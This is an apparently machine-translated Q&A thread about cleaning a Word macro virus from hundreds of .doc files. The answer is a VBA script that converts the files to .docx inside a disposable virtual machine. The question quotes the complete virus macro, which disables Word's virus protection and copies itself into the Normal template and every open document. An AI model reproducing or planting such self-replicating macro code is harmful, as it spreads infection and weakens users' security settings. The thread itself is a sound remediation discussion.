2017-02-23 158 views
1

我正在嘗試幫助有單詞宏病毒的朋友。Word宏病毒

幾乎每個his.doc文件都感染了病毒,我想在不刪除word文件的情況下刪除惡意宏。

由於我的朋友從不使用宏,我實際上可以刪除他的系統上的所有宏。

我將如何去實現這項任務的自動化?

一個我所面對的問題是,我沒有權限在這裏打開受感染的文檔文件時,宏病毒的代碼刪除maliscious宏:

Private Sub Document_Open() 
'Thus_001' 
On Error Resume Next 
Application.Options.VirusProtection = False 
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then 
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ 
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _ 
    .CodeModule.CountOfLines 
End If 
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then 
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _ 
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _ 
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _ 
    .Item(1).CodeModule.CountOfLines) 
End If 
If NormalTemplate.Saved = False Then NormalTemplate.Save 
For k = 1 To Application.Documents.Count 
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then 
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ 
     .CodeModule.DeleteLines 1, Application.Documents.Item(k) _ 
     .VBProject.VBComponents.Item(1).CodeModule.CountOfLines 
    End If 
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then 
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _ 
     .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _ 
     .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _ 
     .VBComponents.Item(1).CodeModule.CountOfLines) 
    End If 
Next k 
frm_Msg.Show 
End Sub 
Private Sub Document_Close() 
    Document_Open 
End Sub 
Private Sub Document_New() 
    Document_Open 
End Sub 
Private Sub Document_Save() 
    Document_Open 
End Sub 

這是在Mac上運行的10.6。 8字2004年

感謝

亞歷

+1

您是否嘗試用「application.enableevents = false」打開然後另存爲docx? – Pierre

+0

對不起,你必須更具體有347個文件,所以我要去自動化解決方案... –

+0

已經過了十年了,所以我不記得,但不是第一次Office版本,您可以禁用對VB對象模型的編程訪問? – Comintern

回答

1

做到這一點,最快捷的方法是將要使用Word的一個更現代的版本。我會做以下。創建虛擬機或創建可以回滾到的現有虛擬機的快照。將所有受感染的Word文件成一個目錄,然後運行從Word文檔這個宏:

'Add a reference to Microsoft Scripting Runtime. 
Public Sub ScrubMacros() 
    Application.DisplayAlerts = wdAlertsNone 
    With New Scripting.FileSystemObject 
     Dim targets As New Collection 
     Dim current As File 
     For Each current In .GetFolder("C:\Test").Files 
      If .GetExtensionName(current.Path) = "doc" Then 
       targets.Add current 
      End If 
     Next 
     Dim infected As Variant 
     For Each infected In targets 
      Dim doc As Document 
      Set doc = Documents.Open(infected.Path) 
      doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument 
      doc.Close wdDoNotSaveChanges 
     Next 
    End With 
    Application.DisplayAlerts = wdAlertsAll 
End Sub 

收集所有生成的.docx文件,並將其移動關閉虛擬機,然後回滾到快照或刪除它。如果你需要保持與Word 2004的兼容性,你可以做幾乎相同的事情來將它們轉換回爲該文件格式 - 只需調整文件擴展名並另存爲格式即可。

+0

謝謝所以我猜我可以改變C:\測試*或「我的硬盤驅動器」,這將掃描我的系統中的所有文檔文件? –

+0

@AlexandreBabeanu - 不完全。這不會「掃描」任何東西。 「C:\ Test」只是包含所有文件的文件夾的佔位符。如果你需要掃描整個文件系統來找到它們,那麼[示例代碼在這裏](http://stackoverflow.com/documentation/vba/990/scripting-filesystemobject/10411/recursively-enumerate-folders-and-files#t = 201702231745019256073)。 – Comintern

+0

好的,謝謝,我會盡力,並讓你張貼! –